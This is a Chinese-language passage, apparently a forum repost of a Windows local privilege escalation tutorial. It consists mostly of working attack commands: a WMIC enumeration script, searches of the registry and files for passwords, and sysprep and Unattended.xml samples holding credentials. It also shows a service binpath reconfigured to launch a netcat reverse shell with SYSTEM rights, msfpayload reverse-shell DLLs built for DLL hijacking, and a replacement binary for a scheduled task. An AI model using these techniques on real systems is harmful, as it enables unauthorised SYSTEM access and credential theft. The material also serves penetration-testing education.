VOLUME - Local storage volume management.
VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA - Per user storage volume quota management.
WMISET - WMI service operational parameters management.
For more information on a specific alias, type: alias /?
CLASS - Escapes to full WMI schema.
PATH - Escapes to full WMI object paths.
CONTEXT - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.
For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?
为了简化，我创建了一个脚本。可以把它放到目标机器上，用来提取processes, services, user accounts, user groups, network interfaces, Hard Drive information, Network Share information, installed Windows patches, programs that run at startup, list of installed software, information about the operating system and timezone.
可以从这里下载代码： [color=blue]http://fuzzysecurity.com/tutorials/files/wmic_info.rar[/color]
代码内容：
[i][b]for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html[/b][/i]
(三)寻找漏洞
接下来是寻找可以提权的安全漏洞
1）首先要做的是看看patchlevel。如果目标机基本没有patch，那么我们的工作就可以很轻松了。
[color=red]C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn[/color]
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013
http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013
http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013
http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013
http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013
http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013
http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013
http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013
http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013
http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013
http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013
http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013
http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013
http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013
http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013
http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013
http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013
http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013
http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013
[..Snip..]
[i][b]正如Windows的特点，输出不是很有用。最好的方法是寻找可以提权的漏洞并且查找他们的KB patch号。这些漏洞包含且不限于KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799).在枚举了OS version和Sevice Pack后你应该找到那些当前可以使用的提权漏洞。通过使用KB patch号，你可以grep出那些漏掉的提权漏洞。[/b][/i]
使用下面语法来grep KB patch number
[color=red]C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBPathNumber" /C:"KBPathNumber"[/color]
2）检查配置文件
通常配置文件存在下列目录下
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
这些文件要么是纯文本，要么是base64编码.下面几个示例：
[b][color=red]# This is a sample from sysprep.inf with clear-text credentials.[/color][/b]
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
[color=red][b]# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".[/b][/color]
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
[b][color=red]# Sample from Unattended.xml with the same "secure" Base64 encoding.[/color][/b]
<AutoLogon>
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>
当目标机连接到域的时候，可以检查一下存放于SYSVOL的Groups.xml文件。任何一个认证的user都有权限访问这个文件，它里面的密码被user使用AES“模糊处理”了。我说“模糊处理”原因是它的static key被公开存放在msdn的网站([url]http://msdn.microsoft.com/en-us/library/cc422924.aspx[/url])，所以可以轻松解密密码。
除了Groups.xml文件，其他包含密码的文件：
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
通过这个漏洞可以手动浏览SYSVOL以及抓取相应文件
[img]http://dl2.iteye.com/upload/attachment/0101/2100/b4a7bc7b-f0fa-33bb-8f82-c82e4e543f7f.png[/img]
然而我们都喜欢自动化来使我们的工作尽可能的快速。这里有两个方法：1 metasploit有一个模块[url]https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp[/url]可以建立会话. 2 可以使用PowerSploit里面的Get_GPPassword[url]https://github.com/mattifestation/PowerSploit[/url]。PowerSploit是一个优秀的powershell框架，可以用来逆向工程，取证和渗透测试。
3)接下来我们查找一个诡异的注册表项"AlwaysInstallElevated"，如果这个设置开启，它允许任何权限的users使用NT AUTHORITY\SYSTEM安装msi文件。这对我来说看起来是一个诡异的主意：创建一个低权限的用户，然后使用这个用户安装SYSTEM级别的程序。对于关于这个问题的背景知识，参照这个连接。[url]http://www.greyhathacker.net/?p=185[/url]
为了可以使用这个我们需要检查两个注册表项是否设置，如果是那样的话我们可以弹出一个SYSTEM shell。可以使用下列两个句法：
[b][color=red]# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.[/b]
C:\Windows\system32> reg query[/color] HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
4)在结束这节之前我们检查一下OS并且期望发现好东西。可以使用下列语法：
[b][color=red]# The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.
[/b]
C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*
[/color]
# Search certain file types for a keyword, this can generate a lot of output.
[color=red]C:\Windows\system32> findstr /si password *.xml *.ini *.txt[/color]
[b][color=red]# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".
[/color][/b]
[color=red]C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s[/color]
(四)挽起袖子
在这最后的章节我们将会查看Windows services和文件/文件夹权限。我们的目标是使用弱权限来提取session权限。
我们将要检查很多权限，所以我们应该download一份accesschk.exe-Microsoft's Sysinternals Suite，可以从这里download[url]http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx[/url]
1）我们首先从Windows service开始，因为那里最有可能发现问题。通常来说，现代操作系统不会包含有漏洞的服务。漏洞，在这种情况下，指的是我们可以重新配置的服务参数。Windows服务有点像application的快捷键
[b][color=red]# We can use sc to query, configure and manage windows services.[/color][/b]
[color=red]C:\Windows\system32> sc qc Spooler[/color]
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe
LOAD_ORDER_GROUP : SpoolerGroup
TAG : 0
DISPLAY_NAME : Print Spooler
DEPENDENCIES : RPCSS
: http
SERVICE_START_NAME : LocalSystem
我们可以使用accesschk检查每个service的权限
[b][color=red]# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services.[/color][/b]
[color=red]C:\> accesschk.exe -ucqv Spooler[/color]
Spooler
R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
accesschk可以自动检测我们是否对一个Windows service有写权限。通常作为一个低权限user我们想检查"Authenticated Users"。确保检查了你的user属于哪个group，例如"power users"被认为是一个低权限的user group。
来比较一下Windows 8和Windows XP SP0
[color=red][b]# This is on Windows 8.[/b][/color]
[color=red]C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated [/color]Users" *
No matching objects found.
[color=red]# On a default Windows XP SP0 we can see there is a pretty big security fail.[/color]
[color=red]C:\> accesschk.exe -uwcqv "Authenticated Users" *[/color]
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
[color=red]C:\> accesschk.exe -ucqv SSDPSRV[/color]
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
[color=red]C:\> accesschk.exe -ucqv upnphost[/color]
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
这个问题在XP SP2版本中得到了解决，然而在SP0和SP1它可以被用作一个通用的本地提权方法。通过重新配置service我们可以让它以SYSTEM权限运行任何我们指定的二进制文件。
我们来看看怎么操作，在这个例子里service将会执行netcat并且会打开一个SYSTEM权限的反弹shell。其他的操作也是可以的。
[color=red]C:\> sc qc upnphost[/color]
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService
[color=red]C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"[/color]
[SC] ChangeServiceConfig SUCCESS
[color=red]C:\> sc config upnphost obj= ".\LocalSystem" password= ""[/color]
[SC] ChangeServiceConfig SUCCESS
[color=red]C:\> sc qc upnphost[/color]
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
[color=red]C:\> net start upnphost[/color]
即使service有配置错误我们也不能总是提权成功。下图来自Brett Moore的Windows privilege escalation，下图的任何权限都将会给我们一个SYSTEM shell。
[img]http://dl2.iteye.com/upload/attachment/0101/2125/b0b6049d-0c81-309a-9caa-38b35767c7bd.png[/img]
记住我们拿下的session属于哪个user group。就像之前说过的，“Power User”同样被认为是低权限user group。 “Power User”有他们的一些漏洞，参考[url]http://blogs.technet.com/b/markrussinovich/archive/2006/05/01/the-power-in-power-users.aspx[/url]
2）最后我们将检查文件/文件夹权限，如果我们不能直接攻击OS，那么我们就把脏活扔给OS来做。由于这方面涉及内容太广，这里我将介绍两个权限漏洞并且如果利用他们。一旦你掌握了思路你就会把这些技术应用到其他场景。
i）作为第一个例子我们重复"Elevating privileges by exploiting weak folder permissions"这篇论文[url]http://www.greyhathacker.net/?p=738[/url]。强烈推荐。
这个例子是一个dll劫持。如果一个service从一个我们有写权限里面加载一个文件，那么我们可以利用它给我们弹出一个shell。
通常来说一个Windows应用程序将会使用一个预定义的搜索路径来寻找DLL，并且它会用一个特殊的顺序来检查。DLL劫持通常发生在把一个恶意的DLL放在一个合法搜索路径之前的文件夹。
win32按照下列顺序搜索路径：
1 - The directory from which the application loaded
2 - 32-bit System directory (C:\Windows\System32)
3 - 16-bit System directory (C:\Windows\System)
4 - Windows directory (C:\Windows)
5 - The current working directory (CWD)
6 - Directories in the PATH environment variable (system then user)
有时会发生尝试装载一个本地不存在的DLL。有很多原因会引起这种问题，例如DLL需要特定的没安装的插件或没有安装的feature。在这种情况下，Parvez 发现某些Windows试图加载默认安装里没有的DLL。因为DLL毫无疑问不存在，所以我们会递归所有的搜索路径。作为一个低权限user我们基本不报希望把一个恶意DLL放在1-4项里面，5在这种情况下不可能因为我们讨论的是Windows service。但是如果我们有对Windows PATH的任何文件夹有写权限，那么我们就大功告成。
例如：
[color=red][b]# This is on Windows 7 as low privilege user1.[/b][/color]
[color=red]C:\Users\user1\Desktop> echo %username%[/color]
user1
[color=red][b]# We have a win here since any non-default directory in "C:\" will give write access to authenticated users.[/b][/color]
[color=red]C:\Users\user1\Desktop> echo %path%[/color]
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27
[b][color=red]# We can check our access permissions with accesschk or cacls.[/color][/b]
[color=red]C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"[/color]
C:\Python27
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
[color=red]C:\Users\user1\Desktop> cacls "C:\Python27"[/color]
C:\Python27 BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
[b][color=red]# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot![/color][/b]
[color=red]C:\Users\user1\Desktop> sc qc IKEEXT[/color]
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IKEEXT
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules
DEPENDENCIES : BFE
SERVICE_START_NAME : LocalSystem
既然条件都满足了，我们可以生产一个恶意DLL以及弹出一个shell
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O[/color]
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll[/color]
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}
在把DLL传送到我们的目标机以后，我们需要把它重命名为wlbsctrl.dll并且把它放到C:\Python27。然后我们只需要等待系统重启(或我们强制重启)然后我们就可以得到一个SYSTEM shell。
# Again, this is as low privilege user1.
[color=red]C:\Users\user1\Desktop> dir[/color]
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> .
02/18/2014 01:49 PM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/18/2014 12:38 PM 14,336 evil.dll
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
11/22/2013 07:39 PM 1,225 wmic_info.bat
5 File(s) 2,051,897 bytes
3 Dir(s) 73,052,160 bytes free
[color=red]C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll[/color]
1 file(s) copied.
C:\Users\user1\Desktop> [color=red]dir C:\Python27[/color]
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Python27
02/18/2014 01:53 PM <DIR> .
02/18/2014 01:53 PM <DIR> ..
10/20/2012 02:52 AM <DIR> DLLs
10/20/2012 02:52 AM <DIR> Doc
10/20/2012 02:52 AM <DIR> include
01/28/2014 03:45 AM <DIR> Lib
10/20/2012 02:52 AM <DIR> libs
04/10/2012 11:34 PM 40,092 LICENSE.txt
04/10/2012 11:18 PM 310,875 NEWS.txt
04/10/2012 11:31 PM 26,624 python.exe
04/10/2012 11:31 PM 27,136 pythonw.exe
04/10/2012 11:18 PM 54,973 README.txt
10/20/2012 02:52 AM <DIR> tcl
10/20/2012 02:52 AM <DIR> Tools
04/10/2012 11:31 PM 49,664 w9xpopen.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
7 File(s) 523,700 bytes
9 Dir(s) 73,035,776 bytes free
ii）我们最后一个例子把注意力放在scheduled tasks，回顾一下我们早先搜集到的信息：
HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 9:00:00 AM
Start Date: 2/17/2014
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
看起来像有一个TFTP客户端连接到远程主机收集一个log文件。我们可以看到这个task每天早上9点以SYSTEM权限运行，让我们看看我们是否有这个文件夹的写权限
[color=red]C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"[/color]
E:\GrabLogs
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
[color=red]C:\Users\user1\Desktop> dir "E:\GrabLogs"[/color]
Volume in drive E is More
Volume Serial Number is FD53-2F00
Directory of E:\GrabLogs
02/18/2014 11:34 PM <DIR> .
02/18/2014 11:34 PM <DIR> ..
02/18/2014 11:34 PM <DIR> Logs
02/18/2014 09:21 PM 180,736 tftp.exe
1 File(s) 180,736 bytes
3 Dir(s) 5,454,602,240 bytes free
很明显这是一个严重的配置问题，没有必要以SYSTEM权限运行这个task，但是更严重的是任何认证user都有这个文件夹的写权限。理想情况下对于一次渗透测试我会在TFTP客户端里面放一个后门。然而对于这个例子，我们可以通过metasploit生成一个二进制文件然后覆盖它。
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O[/color]
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t[/color]
exe > /root/Desktop/evil-tftp.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
为了证明这次提权，我把时间调快了
在结束之前，我想给几个accesschk的说明：
[b][color=red]# When executing any of the sysinternals tools for the first time the user will be presented with a GUIpop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flagto automatically accept the EULA.[/b]
accesschk.exe /accepteula ... ... ...
[b]# Find all weak folder permissions per drive.[/b]
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
[b]# Find all weak file permissions per drive.[/b]
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*[/color]
1387
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
